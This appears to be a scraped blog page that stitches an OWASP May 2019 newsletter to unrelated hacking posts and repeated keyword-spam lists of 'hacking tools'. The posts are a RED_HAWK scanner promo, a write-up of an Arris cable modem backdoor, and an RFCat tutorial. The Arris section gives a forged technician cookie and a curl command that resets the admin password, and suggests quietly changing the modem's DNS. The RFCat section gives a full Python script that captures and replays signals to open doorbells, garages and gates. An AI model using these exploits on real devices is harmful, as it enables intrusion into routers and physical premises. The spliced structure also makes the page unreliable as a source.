OWASP May Connector 2019

*|MC_PREVIEW_TEXT|*

OWASP Connector May 2019 Communications | Projects | Events | Community | Membership COMMUNICATIONS Letter from the Vice Chairman: Dear OWASP Community, Since last month the foundation has been busy working towards enabling our project leaders and community members to utilize funds to work on nurturing and developing projects. So far there has been huge uptake on this initiative. It's great to see so many people passionate about collaborating at project summits.    Our Global AppSec Tel-Aviv is nearly upon us, for members, there is an extra incentive for attending this conference, in the form of a significant discount. This and the sandy beaches and beautiful scenery, not to mention the great speakers and trainers we have lined up, is a great reason to attend. If you have not done so we would encourage you to attend this great conference - https://telaviv.appsecglobal.org.   One of the key things I've noticed in my Board of Director tenure is the passion our community emits, sometimes this passion aids in growing the foundation, but sometimes it also forces us to take a step back and look at how we do things within the foundation. With Mike, our ED and staff we have seen a lot of good change from an operations perspective, with more in the pipeline. Mike's appointment has allowed the Board of Directors to take a step back from operations and enable us to work on more strategic goals. To this end at a recent Board meeting we discussed each Board member taking up one of the following strategic goals, as set out at the start of the year:   1.Marketing the OWASP brand  2.Membership benefits 3.Developer outreach Improve benefits  Decrease the possibility of OWASP losing relevance Reaching out to management and Risk levels Increase involvement in new tech/ ways of doing things – dev ops   4.Project focus  Get Universities involved Practicum sponsored ideas Internships    5.Improve finances 6.Improve OWAP/ Board of Directors Perception 7.Process improvement 8. Get consistent ED 9.Community empowerment   I would encourage the community to come forward if you have any ideas on the above and are happy to work with one of the 7 Board of Directors and community members on one of these initiatives.    Thanks and best wishes,  Owen Pendlebury Vice Chair OWASP FOUNDATION UPDATE FROM INTERIM EXECUTIVE DIRECTOR: OWASP Foundation welcomes aboard Emily Berman as Events Director. Emily was most recently with the Scrum Alliance where she planned high-profile functions for upwards of 2,000 guests. Emily brings a fresh approach to events planning and her 12 years of experience planning and organizing large-scale events worldwide well in advance will greatly benefit our Global AppSecs. Did you Register yet?  Global AppSec DC September 9-13, 2019 submit to the Call for Papers and Call for Training Check out Sponsorship Opportunities while they are still available. Save the Date for Global AppSec Amsterdam Sept 23-27, 2019  Sponsorship Opportunities are available EVENTS  You may also be interested in one of our other affiliated events: REGIONAL AND LOCAL EVENTS Event Date Location Latam Tour 2019 Starting April 4, 2019 Latin America OWASP Portland Training Day September 25, 2019 Portland, OR OWASP Italy Day Udine 2019 September 27,2019 Udine, Italy OWASP Portland Day October 16,2019 Wroclaw, Poland LASCON X October 24-25,2019 Austin, TX OWASP AppSec Day 2019 Oct 30 - Nov 1, 2019 Melbourne, Australia PARTNER AND PROMOTIONAL EVENTS Event Date Location Open Security Summit June 3-7,2019 Woburn Forest Center Parcs, Bedfordshire Hack in Paris 2019 June 16-20, 2019 Paris Cyber Security and Cloud Expo Europe June 19-20, 2019 Amsterdam IoT Tech Expo Europe June 19-20, 2019 Amsterdam BlackHat USA 2019 August 3-8,2019 Las Vegas, Nevada DefCon 27 August 8-11,2019 Las Vegas, Nevada it-sa-IT Security Expo and Congress October 8-10, 2019 Germany PROJECTS We have had the following projects added to the OWASP inventory.  Please congratulate these leaders and check out the work they have done: Project Type Leader(s) Risk Assessment Framework Documentation Ade Yoseman Putra, Rejah Rehim QRLJacker Tool Mohammed Baset Container Security Verification Standard Documentation Sven Vetsch Find Security Bugs Code Philippe Arteau Vulnerable Web Application Code Fatih Çelik D4N155 Tool Julio Pedro de Lira Neto Jupiter Tool Matt Stanchek Top 10 Card Game Documentation Dennis Johnson Samurai WTF Code Kevin Johnson DevSecOps Maturity Model Documentation Timo Pagel   Also, we will have the following projects presenting at the Project Showcase Global AppSec Tel Aviv: Final Schedule Wednesday, May 29th Thursday, May 30th Time Project Presenter(s) Confirmed Time Project Presenter(s) Confirmed 10:​4​5 a.m. Glue Tool Omer Levi Hevroni Yes 10:​30 ​ a.m. API Security Erez Yalon, Inon Shkedy Yes   ​7                     11:5​5​ a.m. IoT & Embedded AppSec Aaron Guzman Yes 11:​50​ a.m. Mod Security Core Rule Set Tin Zaw Yes         12:​25 ​p.m. Automated Threats Tin Zaw Yes 12:​30 ​p.m. Lunch Break   12:​55​ p.m. Lunch Break   2:​35​ p.m. SAMM John DiLeo Yes         ​3:10​ p.m. Application Security Curriculum John DiLeo Yes ​3:10 p.m. ​Damned Vulnerable Serveless Application​ ​Tal Melamed​ ​Yes​   Finally, if you are able to help participate in the Project Reviews at the Conference, please send me an email at harold.blankenship@owasp.com.  We have a large line-up of projects to review this time around: Project To Level Leader(s) Snakes and Ladders Flagship Katy Anton, Colin Watson Cheat Sheet Series Flagship Dominique Righetto, Jim Manico Mobile Security Testing Guide Flagship Jeroen Willemsen, Sven Schleier Amass Lab Jeff Foley Attack Surface Detector Lab Ken Prole SecureTea Lab Ade Yoseman Putra, Bambang Rahmadi K.P, Rejah Rehim.A.A Serverless Goat Lab Ory Segal Google Summer of Code Update: We were allocated 13 students this year!  The current timeline is as follows: Google Season of Docs: We were accepted into the Google Season of Docs.  There will be a single technical writer resource.  The current timeline is as follows: COMMUNITY New OWASP Chapters Riyadh, Saudi Arabia Guayaquil, Equador Lome, Togo Natal, Brazil Nashua, New Hampshire Gwalior, India Louisville, Kentucky Nainital, India Liverpool, United Kingdom Syracuse, New York MEMBERSHIP   We would like to welcome the following Premier and Contributor Corporate Members. Premier Corporate Members Contributor Corporate Members Join us Donate Our mailing address is: OWASP Foundation  1200-C Agora Drive, # 232 Bel Air, MD 21014   Contact Us Unsubscribe

This email was sent to *|EMAIL|* why did I get this?    unsubscribe from this list    update subscription preferences *|LIST:ADDRESSLINE|*

Leo's Noob

I would like to send a salve to my friend noob at Rivendel in Brazilian company hahaha

More info

• Pentest Tools Nmap
• Hacking Tools For Windows 7
• Hacker Tools Windows
• New Hack Tools
• Top Pentest Tools
• Hacking Tools Windows 10
• Hacking Tools Free Download
• Hacker Security Tools
• Free Pentest Tools For Windows
• Hacker Tools
• Best Hacking Tools 2020
• Usb Pentest Tools
• Hacking Tools For Pc
• Pentest Tools Framework
• Pentest Tools Kali Linux
• Pentest Tools Github
• Install Pentest Tools Ubuntu
• Ethical Hacker Tools

RED_HAWK: An Information Gathering, Vulnerability Scanning And Crawling Tool For Hackers

About RED_HAWK: RED_HAWK is a all in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all pentesters and hackers.

RED_HAWK's features:

• Basic ScanSite Title (NEW):
     IP Address
     Web Server Detection IMPROVED
     CMS Detection
     Cloudflare Detection
     robots.txt Scanner
• Whois Lookup (IMPROVED)
• Geo-IP Lookup
• Grab Banners IMPROVED
• DNS Lookup
• Subnet Calculator
• Nmap Port Scan
• Sub-Domain Scanner IMPROVED:
     Sub Domain
     IP Address
• Reverse IP Lookup and CMS Detection IMPROVED:
     Hostname
     IP Address
     CMS
• Error Based SQLi Scanner
• Bloggers View NEW
     HTTP Response Code
     Site Title
     Alexa Ranking
     Domain Authority
     Page Authority
     Social Links Extractor
     Link Grabber
• WordPress Scan NEW
     Sensitive Files Crawling
     Version Detection
     Version Vulnerability Scanner
• Crawler
• MX Lookup NEW
• Scan For Everything - The Old Lame Scanner

List of CMS Supported on RED_HAWK

   RED_HAWK's CMS Detector currently is able to detect the following CMSs (Content Management Systems) in case the website is using some other CMS, Detector will return could not detect.

• WordPress
• Joomla
• Drupal
• Magento

RED_HAWK Installation
   How To Configure RED HAWK with moz.com for Bloggers View Scan?

• Create an account in moz follow this link: Register New Community Account - Moz
• After successful account creation and completing the verification you need to generate the API Keys.
• You can get your API Keys here: https://moz.com/products/mozscape/access.
• Get your AccessID and SecretKey and replace the $accessID and $secretKey variable's value in the config.php file

   All set, now you can enjoy the bloggers view.

How to use RED_HAWK?

Known Issues of RED_HAWK
   ISSUE: Scanner Stops Working After Cloudflare Detection!
   SOLUTION: Use the fix command (for Debian-based distros) or manually install php-curl and php-xml.

   Watch the video to see how to solve that isuue:

Support and Donations
   Found RED_HAWK cool? Well you could buy a cup of tea for the author 😉 Just send any amount of donations (in Bitcoin) to this address: 1NbiQidWWVVhWknsfPSN1MuksF8cbXWCku

   Can't donate? well that's no problem just drop a "THANK YOU, AUTHOR" this will motivate me to create more exciting stuffs for you 😉

TODOs for RED_HAWK:

• Make a proper update option ( Installs current version automatically )
• Add more CMS to the detector
• Improve The WordPress Scanner ( Add User, Theme & Plugins Enumeration )
• Create a web version of the scanner
• Add XSS & LFI Scanner
• Improve the Links grabber thingy under bloggers view
• Add some other scans under the Bloggers View

Download RED_HAWK

Related articles

• Growth Hacker Tools
• Hack Tools Pc
• Hacker Tools Linux
• Github Hacking Tools
• Pentest Tools Open Source
• Free Pentest Tools For Windows
• Hacking Tools
• Computer Hacker
• Hack Tools For Mac
• Growth Hacker Tools
• Top Pentest Tools
• Pentest Tools Framework
• Hacking Tools Windows
• Hack Tools Pc
• Pentest Tools Url Fuzzer
• Physical Pentest Tools
• Hacking Tools Windows
• Hack Tools Online
• Hacker Techniques Tools And Incident Handling
• Hacker Tools For Pc
• Hacker Tools For Ios
• Hacker Tools Free Download
• Hack Tools Pc
• Hacker Tools List
• Termux Hacking Tools 2019
• What Is Hacking Tools

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"} 

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


More articles

1. Pentest Tools Linux
2. Hacking Tools Mac
3. Pentest Tools Website Vulnerability
4. Hacking Tools Hardware
5. Pentest Tools Port Scanner
6. Hacker Tools Apk
7. Pentest Tools Review
8. Hacker Tools For Mac
9. Kik Hack Tools
10. Tools For Hacker
11. Bluetooth Hacking Tools Kali
12. Hacker Tools 2020
13. Hacking Tools And Software
14. Pentest Tools Subdomain
15. Pentest Box Tools Download
16. Tools Used For Hacking

SQL Injection Attacks And Defense | By Justin Clarke | Pdf Free

Related links

1. Free Pentest Tools For Windows
2. Free Pentest Tools For Windows
3. Top Pentest Tools
4. Hack Tools
5. Best Pentesting Tools 2018
6. Hack Tools Download
7. Hacker Tools For Mac
8. Hak5 Tools
9. Hack Tools 2019
10. Hacker Tools
11. Underground Hacker Sites
12. Wifi Hacker Tools For Windows
13. Pentest Tools Kali Linux
14. Pentest Tools Bluekeep
15. Pentest Tools Android
16. Physical Pentest Tools
17. Pentest Automation Tools
18. Hack Website Online Tool
19. Github Hacking Tools
20. Hacker Tools For Ios
21. Underground Hacker Sites
22. Hack Rom Tools
23. Hacking Tools Free Download
24. How To Hack
25. New Hacker Tools
26. How To Make Hacking Tools

Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 

I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.

If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com

Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)

https://goo.gl/W56Eau 

YardStick One: (from the last blog)

https://goo.gl/wd88sr 

So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 

This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 

Video Series PlayList Associated with this blog:

The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:

sudo pip install PySide

sudo apt-get install ipython

Plug in your adapter and type in the following: 

rfcat -r 

d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 

Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 

This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  

So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 

Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFlisten()

Entering RFlisten mode...  packets arriving will be displayed on the screen

(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................

If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]

'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 

New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000

Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

print "Starting"

d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)

print 'Transmission Complete'

TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 

• When using a telescopic antenna closed I had almost repeating output with some random bits flipped
• When extending the antenna it went crazy output with random noise
• I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 

• Verify the frequency with RFCat
• How can I listen for it and capture a transmission with RFCat
• How can I send this transmission with RFCat

We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r

>>> d.setFreq(315000000)

>>> d.setMdmModulation(MOD_ASK_OOK)

>>> d.setMdmDRate(4800)

>>> d.setMaxPower()

>>> d.lowball()

>>> d.RFrecv()

Traceback (most recent call last):

  File "", line 1, in

  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv

    data = self.recv(APP_NIC, NIC_RECV, timeout)

  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv

    raise(ChipconUsbTimeoutException())

ChipconUsbTimeoutException: Timeout waiting for USB response.

OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:

...     d.RFrecv()

... except ChipconUsbTimeoutException:

...     pass

...

That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:

...     d.RFrecv()

... except ChipconUsbTimeoutException:

...     pass

...

while True:

...     try:

...             d.RFrecv()

...     except ChipconUsbTimeoutException:

...             pass

Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 

Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 

Line 14: After that we just print it out. 

When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  

Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 

• We need to parse out the data from the surrounding 0s
• We need to convert it to a format we can send (tricker then it sounds) 
• We need to add padding and send that data over (We know how to do this already) 

Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library

Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop

Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks

Line 22: We print out our list of useable payloads which can been seen in the below output

Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 

for payload in payloads: 

    formatted = ""

    if (len(payload) > 6) and (len(payload) % 2 == 0):

    

        print "Currently being formatted: " + payload 

        iterator = iter(payload)

        for i in iterator:

            formatted += ('\\x'+i + next(iterator))

    else:

        continue

Formatted Hex Vs Manually Pasted Hex

So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 

Below is the output of the following:

• Your encoded capture
• Your parsed payloads in a nice list
• Your payload being processed into hex. 

But this is where things go wrong, you then have :

• Your nicely formatted Hex created by your code above (Yay for us) 
• Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)

 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 

BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:

sudo pip install bitstring

Our New code using BitString: 

Line 2:   I imported bitstring

Line 25: I added a for loop to go through our payload list one by one

Line 27: I convert our current payload to binary

Line 28: I take that binary and I feed it into bitstring to fix the formatting issues

Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below

With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)

Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 

I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.

#—————YardStick_InstantReplay_SimpleVersion.py ----------#

# @Ficti0n

# http://consolecowboys.com 

from rflib import *

import time

import re

import bitstring

print("Listening for them signals in ASK")

d = RfCat()

d.setFreq(315000000)

d.setMdmModulation(MOD_ASK_OOK)

d.setMdmDRate(4800)

d.setMaxPower()

d.lowball()

#-----------Start Capture 1 Transmission ----------#

capture = ""

while (1):

    try:

        y, z = d.RFrecv()

        capture = y.encode('hex')

        print capture

        

    except ChipconUsbTimeoutException: 

        pass

    if capture:

        break

#Parse Hex from the capture by reducing 0's

payloads = re.split ('0000*', capture)

print payloads

#----------Start Parse and Create Payload---------#

for payload in payloads: 

    

    formated = ""

    if (len(payload) > 6) and (len(payload) % 2 == 0):

        print "Currently being formatted to binary: " + payload 

        binary = bin(int(payload,16))[2:]

        print binary

        print "Converting binary to bytes: "

        formatted = bitstring.BitArray(bin=(binary)).tobytes()

    else:

        continue

#------------Send Transmission--------------------#

    time.sleep(2)

    print "Sending bytes with padding"

    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)

    print 'Transmission Complete'

Thats All Folks, Whats Next: 

I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 

Related articles

1. Ethical Hacker Tools
2. Hacking Tools Kit
3. Hacker Tools Hardware
4. Hacker Tools For Ios
5. Hacks And Tools
6. Pentest Tools Bluekeep
7. Pentest Tools
8. Hack Tools
9. Free Pentest Tools For Windows
10. Hacking Tools
11. Pentest Tools Framework
12. Game Hacking
13. Hacker Tools Windows
14. Hacker Tools Apk Download
15. What Are Hacking Tools
16. Hack Website Online Tool
17. Nsa Hacker Tools